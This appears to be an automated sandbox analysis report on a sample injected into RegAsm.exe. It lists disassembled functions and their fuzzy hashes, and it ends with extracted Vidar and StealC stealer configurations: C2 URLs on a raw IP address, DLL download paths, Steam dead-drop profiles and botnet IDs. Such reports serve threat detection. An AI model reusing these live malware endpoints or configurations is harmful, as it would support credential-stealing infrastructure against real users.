Opcode ID: 092c38c67d57109e8c5c44f51d133c21473957da2c7f1d63822d9f19b294ac06
Instruction ID: e1586b2641ddf465875d9622ddbbabc739ad76614693ec7c0d0d1a057604b9d3
Opcode Fuzzy Hash: 092c38c67d57109e8c5c44f51d133c21473957da2c7f1d63822d9f19b294ac06
Instruction Fuzzy Hash: 3A216275C0420DAFDB05DF90D85A9FEBFB8FB04308F14855AE91167261E7705648DF90

Function 00540B81 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(E06D7363,00000001,00000003,BS,?,?,?,?,0053E642,?,00588EB8), ref: 00540BE1

Strings

uS, xrefs: 00540BB1
BS, xrefs: 00540B8C
BS, xrefs: 00540BCE, 00540BD1

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionRaise
String ID: BS$BS$uS
API String ID: 3997070919-2206541984
Opcode ID: e1124269f4bf9cebe6574ce1e2b1bd7a7d60b0c34b683b0bc2485acf126c4bcb
Instruction ID: 8743a6e4ccbb16be51a9759d8c086da25a12cc0b164b9960dc5b549162f352b5
Opcode Fuzzy Hash: e1124269f4bf9cebe6574ce1e2b1bd7a7d60b0c34b683b0bc2485acf126c4bcb
Instruction Fuzzy Hash: B8018F76900208ABD7019F6CD884BAEBFB8FF44718F254159EE55AB390D7B0AD00CBD0

Function 00557C11 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(56A9C068,00000000,00000000,00000000), ref: 00557C74

Part of subcall function 0055B1B2: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0055D114,?,00000000,-00000008), ref: 0055B213

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00557EC6
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00557F0C
GetLastError.KERNEL32 ref: 00557FAF

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 088280c3f3322a66491bf1bbf9a4510f727498fa40987aaf298985efd1d8c208
Instruction ID: 4fbf7a6943184051d0c028231f02dc064fe9c1bd9b8601f1f3d850ac1a83dc45
Opcode Fuzzy Hash: 088280c3f3322a66491bf1bbf9a4510f727498fa40987aaf298985efd1d8c208
Instruction Fuzzy Hash: 4ED199B5D042489FCF14CFA8D8949EDBFB5FF48300F28416AE856EB352D630A949CB60

Function 00567370 Relevance: 6.3, APIs: 4, Instructions: 275COMMON

Download Yara Rule

APIs

__FindPESection.LIBCMT ref: 005674A1
VirtualQuery.KERNEL32(83000000,56A9C068,0000001C,56A9C068,?,?,?), ref: 00567586
__FindPESection.LIBCMT ref: 005675C3
__FindPESection.LIBCMT ref: 005675FD

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FindSection$QueryVirtual
String ID:
API String ID: 2992484814-0
Opcode ID: 323e48d8b8d08ef91de50fac3319ebba96658270041aac83c517efd03ebddc17
Instruction ID: 8f7d52035f1aaf9361f41c8e2b97acc93c30f34545eea08c55619960dac2fa39
Opcode Fuzzy Hash: 323e48d8b8d08ef91de50fac3319ebba96658270041aac83c517efd03ebddc17
Instruction Fuzzy Hash: AEA1D271E0461A8FDB20CF58D9846ADBFB4FB58328F11056AD81AE7391E731ED45CB90

Function 00545AD3 Relevance: 6.2, APIs: 4, Instructions: 192COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00545ADA
UnDecorator::getSymbolName.LIBCMT ref: 00545B6C
DName::operator+.LIBCMT ref: 00545C70
DName::DName.LIBVCRUNTIME ref: 00545D13

Part of subcall function 0054368A: shared_ptr.LIBCMT ref: 005436A6

Part of subcall function 00543889: DName::DName.LIBVCRUNTIME ref: 005438D7

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name$Name::$Decorator::getH_prolog3Name::operator+Symbolshared_ptr
String ID:
API String ID: 1134295639-0
Opcode ID: e08a689be15dfcaed692f8e7758472f3a9f4beb48af5ecf2cfec68cd988d5085
Instruction ID: b403f0b902e961dab6667395f94a42a6fc06ff6f15852ea8d538b554378cb288
Opcode Fuzzy Hash: e08a689be15dfcaed692f8e7758472f3a9f4beb48af5ecf2cfec68cd988d5085
Instruction Fuzzy Hash: 2C715A71D006199FDB05CFA4D886AEDBFB4FF09318F14501AE942BB252E7309D48DB60

Function 0054614E Relevance: 6.2, APIs: 4, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00546283

Part of subcall function 005433C6: __aulldvrm.LIBCMT ref: 005433F7

DName::operator+.LIBCMT ref: 005461E4
DName::operator=.LIBVCRUNTIME ref: 005462C8
DName::DName.LIBVCRUNTIME ref: 005462FA

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=__aulldvrm
String ID:
API String ID: 2973644308-0
Opcode ID: eb3fe6bcec78a16d1778c550908613eed267dd70cf757a5a7a6ea6ebe477dac2
Instruction ID: d86121d32e947466586a06139f643f4ccfc9e72382077ba6a5573020e88006f8
Opcode Fuzzy Hash: eb3fe6bcec78a16d1778c550908613eed267dd70cf757a5a7a6ea6ebe477dac2
Instruction Fuzzy Hash: 36619EB4904256EFCB04CF98D885BEDBFB4FB56308F14845AE9416B361C7B09A40DF91

Function 0051B7F0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000010), ref: 0051B813

Strings

P@, xrefs: 0051B8E9
OS_Rng: , xrefs: 0051B843
operation failed with error , xrefs: 0051B864

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast
String ID: operation failed with error $OS_Rng: $P@
API String ID: 1452528299-2227021971
Opcode ID: 902ab99bc9107757a19ab50ed399776691d7738e6f56adcebd1e9778ff808288
Instruction ID: ab2645774e2d84d6bb8c95844b5da00fe88cedc599a1c9abba14ca5f5f483051
Opcode Fuzzy Hash: 902ab99bc9107757a19ab50ed399776691d7738e6f56adcebd1e9778ff808288
Instruction Fuzzy Hash: 265137B1D00208EFCB04DFA9D951BEEBBB4BF48304F2085ADE415A7381DB745A44CBA4

Function 0053F9E8 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000400,?,?,?,004F3DE7,00000000,00000000,?,?,?,004F3DE7,?,?,?,00000000), ref: 0053FA05
GetLastError.KERNEL32(?,?,?,004F3DE7,?,?,?,00000000,00000000), ref: 0053FA11
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,004F3DE7,00000000,00000000,?,?,?,004F3DE7,?,?,?,00000000), ref: 0053FA37
GetLastError.KERNEL32(?,?,?,004F3DE7,?,?,?,00000000,00000000), ref: 0053FA43

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 6d39be065fe90efab31012ee02951afa3c0934df97b372dc79f955a7d97018b2
Instruction ID: c53a42e144967778dbcaaa26afbfc6addd16343f446ecb49e252394a07b1528d
Opcode Fuzzy Hash: 6d39be065fe90efab31012ee02951afa3c0934df97b372dc79f955a7d97018b2
Instruction Fuzzy Hash: A8011D32A00159BBDF220F95DC08D9B3F2AFBD97A0F118024FE1596224D731C861EBA1

Function 0043FB30 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 369COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00440042

Strings

`@, xrefs: 00440038
`XA, xrefs: 0044002F

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: b1c8f433c1151965ede318d29da25694bf64a882b125c67a7cf72f01efa214db
Instruction ID: ff9cc42e0d33c3f91bf3e8bfabf481f09bb71c26de26eee4bf6d80892f67b890
Opcode Fuzzy Hash: b1c8f433c1151965ede318d29da25694bf64a882b125c67a7cf72f01efa214db
Instruction Fuzzy Hash: 02F11DB5C1021C9BCB15EF91DC91AEEB778BF58304F4041AEE50A67252EB346B89CF64

Function 0055465A Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 291COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 005547D1

Strings

+, xrefs: 0055472F
-, xrefs: 00554722

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: +$-
API String ID: 3732870572-2137968064
Opcode ID: 0eb73403c6ad4f2bb151b54228d5cb837cf2bad058a209e406f441fac7a18394
Instruction ID: 4f247e70a663acb8c3d52ea08d6a81d749537a2582cef42202ba693493f8c53a
Opcode Fuzzy Hash: 0eb73403c6ad4f2bb151b54228d5cb837cf2bad058a209e406f441fac7a18394
Instruction Fuzzy Hash: 7CA1C330910259AFDF14CE69C8606FE7FB1FF5A32AF14855BEC659B281D330998A8F50

Function 00417CB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00417D4B
std::ios_base::clear.LIBCPMTD ref: 00417F39

Part of subcall function 00417740: std::ios_base::clear.LIBCPMTD ref: 00417871

Strings

c[A, xrefs: 00417D7B

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID: c[A
API String ID: 1443086396-3980679666
Opcode ID: c3c3a1955cd24c94458fe5c032f2d95a437b70977dc51dd2280b8989c3ec1e59
Instruction ID: 6e4bc77fd97e1a9c42cdcb5b2fe03ce96a4964bfb67eb0318dfd9c44b1d444d5
Opcode Fuzzy Hash: c3c3a1955cd24c94458fe5c032f2d95a437b70977dc51dd2280b8989c3ec1e59
Instruction Fuzzy Hash: 7B91C5B4E08249CFDB14CF95C495AEEFBB1BF48314F24815AD9166B391C738A982CF94

Function 005481D7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 00548232
DName::DName.LIBVCRUNTIME ref: 0054837D

Strings

..., xrefs: 00548334

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Replicator::operator[]
String ID: ...
API String ID: 3707554701-440645147
Opcode ID: d566767256c45ac9024f25040ca0f9eb3eb5680452e3da8451354c959b671c0f
Instruction ID: 7c1d151daa1fdf41879bfbd09309a77717fd8c1bd198b0cf7ac1fb5391288f9b
Opcode Fuzzy Hash: d566767256c45ac9024f25040ca0f9eb3eb5680452e3da8451354c959b671c0f
Instruction Fuzzy Hash: A151C274908645AFDB15CFA8D8896FDBFF4BF16708F08885ED941A7361CB709A08CB50

Function 0041A590 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 0041A637

Strings

HHA, xrefs: 0041A5A6
HHA, xrefs: 0041A627, 0041A62F, 0041A62A, 0041A632

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: HHA$HHA
API String ID: 2001391462-78794114
Opcode ID: d22e5025005132be8ae8e07c2e5cc95db775846b98abc1004e97a32bd5275221
Instruction ID: 58fc70c8d1e743df8a21e54f01107f1756ebb3a48e4e49249704d6386acab13f
Opcode Fuzzy Hash: d22e5025005132be8ae8e07c2e5cc95db775846b98abc1004e97a32bd5275221
Instruction Fuzzy Hash: D4514AB9D01209ABDF04DF94D845AEF77B5BB44304F14842AE81997341E738EAA1CB66

Function 005478C4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 005479C4

Part of subcall function 0054368A: shared_ptr.LIBCMT ref: 005436A6

Strings

amp, xrefs: 00547960
cpu, xrefs: 0054796F

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::shared_ptr
String ID: amp$cpu
API String ID: 2125921051-2542064945
Opcode ID: 0a978f6666f21e7a2572c74bff3a0ae62f5ae6c462e1d02818d8be69e98e94c7
Instruction ID: a4d0f1cdb0f4c3c86660b698ae3bc36252cfffd7a370057d30f631594d00f0d4
Opcode Fuzzy Hash: 0a978f6666f21e7a2572c74bff3a0ae62f5ae6c462e1d02818d8be69e98e94c7
Instruction Fuzzy Hash: 7131807190821EAFCB04DF98C845AFDBFB4BB99318F10405AE585A7361D7309A04CB90

Function 0054051C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

___unDName.LIBVCRUNTIME ref: 00540549

Part of subcall function 005496F8: ___unDNameEx.LIBVCRUNTIME ref: 00549711

InterlockedPushEntrySList.KERNEL32(0040F01D,0040F01D,?,?,?,?,?,?,?,?,?,0040F01D,?,0058E940), ref: 005405C4

Strings

@X, xrefs: 005405A5, 005405CA

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name___un$EntryInterlockedListPush
String ID: @X
API String ID: 723550680-3927199268
Opcode ID: 227ca6a570cde2c246336002fd2555bf695669cbe09e84dec2d86bdc94294ec0
Instruction ID: df260370169ace51d469760d7011fdbb54e4a96fff24df410436cdc31a6c4d77
Opcode Fuzzy Hash: 227ca6a570cde2c246336002fd2555bf695669cbe09e84dec2d86bdc94294ec0
Instruction Fuzzy Hash: 8221D731500205AFDB11DF68CC89DEA7FB8FF8536CB245069E5059B281E672DE46CB90

Function 005672A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

__FindPESection.LIBCMT ref: 005672E9
__FindPESection.LIBCMT ref: 00567330

Strings

uV, xrefs: 005672A6

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FindSection
String ID: uV
API String ID: 3341428096-879881710
Opcode ID: 6db0b88c1412987f114ec55f2907211f7ca3cc8bb38a2f1ba2eedb8865635bc2
Instruction ID: 661ab4177a07af66d8fe5b21dea799d538a8981b05d13e8cdccb76cfcd0d1b94
Opcode Fuzzy Hash: 6db0b88c1412987f114ec55f2907211f7ca3cc8bb38a2f1ba2eedb8865635bc2
Instruction Fuzzy Hash: 6D21FB32B0422A4BCF349A2CDC846AA7B5ABB4833CB1A4719DC68573C5DB30EC41D6D4

Function 005463B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 005463CE
DName::DName.LIBVCRUNTIME ref: 00546453

Strings

A, xrefs: 00546433

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::
String ID: A
API String ID: 1333004437-3554254475
Opcode ID: 2fdc20fddfea1591c3d5a697cac88cf68f1fc6810f6cfe2fbcf50ae7afa78082
Instruction ID: ad5c5cdc900119de4e1c1a943c798a011e003d9e89420341421d5f873e963e72
Opcode Fuzzy Hash: 2fdc20fddfea1591c3d5a697cac88cf68f1fc6810f6cfe2fbcf50ae7afa78082
Instruction Fuzzy Hash: 9C219D74904149AFDF04DF94D846BEC7FB1FB86308F10C859E9456B261C7709A49EB42

Function 0040E300 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040E314
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040E3C1

Part of subcall function 0053F2A2: _Yarn.LIBCPMT ref: 0053F2C1
Part of subcall function 0053F2A2: _Yarn.LIBCPMT ref: 0053F2E5

Strings

bad locale name, xrefs: 0040E3CB

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 09efe5c459f684f080d25be1aa42f4a05728932db351713f5b067b284370b649
Instruction ID: f7ef2f4ab1df595a199d7dad6d9cd8243b94916aedc5e8d5d18da55d8c9c26c6
Opcode Fuzzy Hash: 09efe5c459f684f080d25be1aa42f4a05728932db351713f5b067b284370b649
Instruction Fuzzy Hash: E831F8B4E04209DFDB04CF98D995BAEFBB1FF48304F248199D805AB381C775AA51CBA5

Function 004164F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 004165CB

Strings

eVA, xrefs: 00416567, 00416545, 00416553, 0041655D
eVA, xrefs: 0041650C, 0041651E, 00416533, 00416591, 0041659D, 004165AA

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: eVA$eVA
API String ID: 2001391462-2010160217
Opcode ID: 840fe47f7f40b0dd22249d9de1a3239d75facf5a1c0f6b941722fd50a3e2e93c
Instruction ID: 9ab3e6916cf0d860965d67e495f956fdb17b34ad4b651c815909af831e30d601
Opcode Fuzzy Hash: 840fe47f7f40b0dd22249d9de1a3239d75facf5a1c0f6b941722fd50a3e2e93c
Instruction Fuzzy Hash: 2531AA74A04208EFDB04CF98D094BEEB7B5BF48344F2481A9D8489B346D775AE85DF94

Function 00544B73 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00544BB6
DName::operator+=.LIBCMT ref: 00544BF6

Strings

void, xrefs: 00544BD8

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Name::operator+=
String ID: void
API String ID: 2247604192-3531332078
Opcode ID: 6ab67c0c92cd683935c3d760e861924ecaa3ee2f924fa67f1b4545954e850829
Instruction ID: 0b70565bd5bc2618c294dadaf4d02abc9ed392641c077eee4745f215ef411b4f
Opcode Fuzzy Hash: 6ab67c0c92cd683935c3d760e861924ecaa3ee2f924fa67f1b4545954e850829
Instruction Fuzzy Hash: 0F1151B584421AAACF04EFA4C85ABFEBFB8FF44318F00455AE445A7295DB749744CF90

Function 00415540 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041557C

Strings

`@, xrefs: 00415572
`XA, xrefs: 00415569

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 3128ecd62594a78fb7fb2ec53101d4ae7a17aa0d33a748a3408eb6d821d1f301
Instruction ID: df04170afd1a3dfcbc914767939652a0ad6efa564f7c33baab53c77d9c69497a
Opcode Fuzzy Hash: 3128ecd62594a78fb7fb2ec53101d4ae7a17aa0d33a748a3408eb6d821d1f301
Instruction Fuzzy Hash: ABF0FFB1D00209EFCF04DFA8D95599EBFB5AB81300F9441A9E404BF345DA35AF50CB95

Function 004155B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004155EC

Strings

`@, xrefs: 004155E2
`XA, xrefs: 004155D9

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: d6477d560bd7f9c2ddf8b8d26ef843029050b0c67818177b9e3097335a4db553
Instruction ID: 7c3d0727f933d4e7c8f886826d2ab3f0ea7b6c3e84c16c462248bb29cb776f76
Opcode Fuzzy Hash: d6477d560bd7f9c2ddf8b8d26ef843029050b0c67818177b9e3097335a4db553
Instruction Fuzzy Hash: 3AF049B1D00108EBCB04DFA8DD5699EBFB5EB81302F4041A8E404BB305EA35AE60CBA5

Function 004157F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041582C

Strings

`@, xrefs: 00415822
`XA, xrefs: 00415819

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: cc232e951552d4bacc71d99b8678dc54753144998b42ffd1852ff0a63ee73d17
Instruction ID: 47261bf98c4c5b738f29456a61e0917be9c8d398335f4a949e932ca84a5df04e
Opcode Fuzzy Hash: cc232e951552d4bacc71d99b8678dc54753144998b42ffd1852ff0a63ee73d17
Instruction Fuzzy Hash: B6F0FFB1D0010CEBCB04DFACD95599EBFB5AB91300F9441A9E805BB346DA359E60CB95

Function 00415780 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004157BC

Strings

`@, xrefs: 004157B2
`XA, xrefs: 004157A9

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 5549d432100d26eadbb37aa115d1dd9050b76466dc8d117bce06f807c6107867
Instruction ID: cf2e72cc3041c7204e05a24073e0ec14b24aee4fba46d8b46a1fe6da308f96c2
Opcode Fuzzy Hash: 5549d432100d26eadbb37aa115d1dd9050b76466dc8d117bce06f807c6107867
Instruction Fuzzy Hash: CAF04FB1D00208EBDB04DFE8D94699EBFB5BB80300F5041A8E400BB355DA31AE50CB95

Function 0055AC6F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,0055C4F5,-00000020,00000FA0,00000000,0050BDF6,00000000,0000000C), ref: 0055ACAF

Strings

uS, xrefs: 0055AC9F
InitializeCriticalSectionEx, xrefs: 0055AC7F

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$uS
API String ID: 2593887523-3775022884
Opcode ID: 8ecc14de15b3f062c649c4283e6c1ad1845279ea43ebf8b6edd17f07ea0cef32
Instruction ID: 79bf836e81b0caea49663d7db22fc0aae6f3863b6163f39525539326c9f449f6
Opcode Fuzzy Hash: 8ecc14de15b3f062c649c4283e6c1ad1845279ea43ebf8b6edd17f07ea0cef32
Instruction Fuzzy Hash: 7CE09236580218BBCB112F51DC19D9D7F21FB54B62F008131FD1957160C7B28D60E7E1

Function 00415860 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041587D

Strings

`@, xrefs: 00415873
`XA, xrefs: 0041586A

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: f6f2aa7a4525972061f5a70069fac671f0bbd72b64d7846ba6e33727e89ef563
Instruction ID: 9ba82dd55013fc1e9fabb96e98323f7155a8c726268295a4ba83d1893430fde2
Opcode Fuzzy Hash: f6f2aa7a4525972061f5a70069fac671f0bbd72b64d7846ba6e33727e89ef563
Instruction Fuzzy Hash: DFE06DF5900208EBCB05DF84D94289EBBF4BB85300F5040A8F9046B310EA32AF20DB95

Function 00415A10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00415A43

Strings

`@, xrefs: 00415A39
`XA, xrefs: 00415A30

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: `XA$`@
API String ID: 323602529-3161672447
Opcode ID: 29b0cecdc3070887fbbebcec569224bd3bd6085f02cb7072b9f7227af8728228
Instruction ID: b48e7b4d98d820730192813625106d3c94456d69d08d87a76f7c5b2401c989b7
Opcode Fuzzy Hash: 29b0cecdc3070887fbbebcec569224bd3bd6085f02cb7072b9f7227af8728228
Instruction Fuzzy Hash: 92E01AB0D01108EBCF04EF98D94159DBFB5EF85309F5001A8D904AB301EB316E60CB95

Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: http://46.8.231.109/	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	URL Reputation: Label: malware

Source: 00000007.00000002.3149050724.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "8b4d47586874b08947203f03e4db3962"}
Source: 30.2.AAAKEBGDAF.exe.3dd5570.1.raw.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}
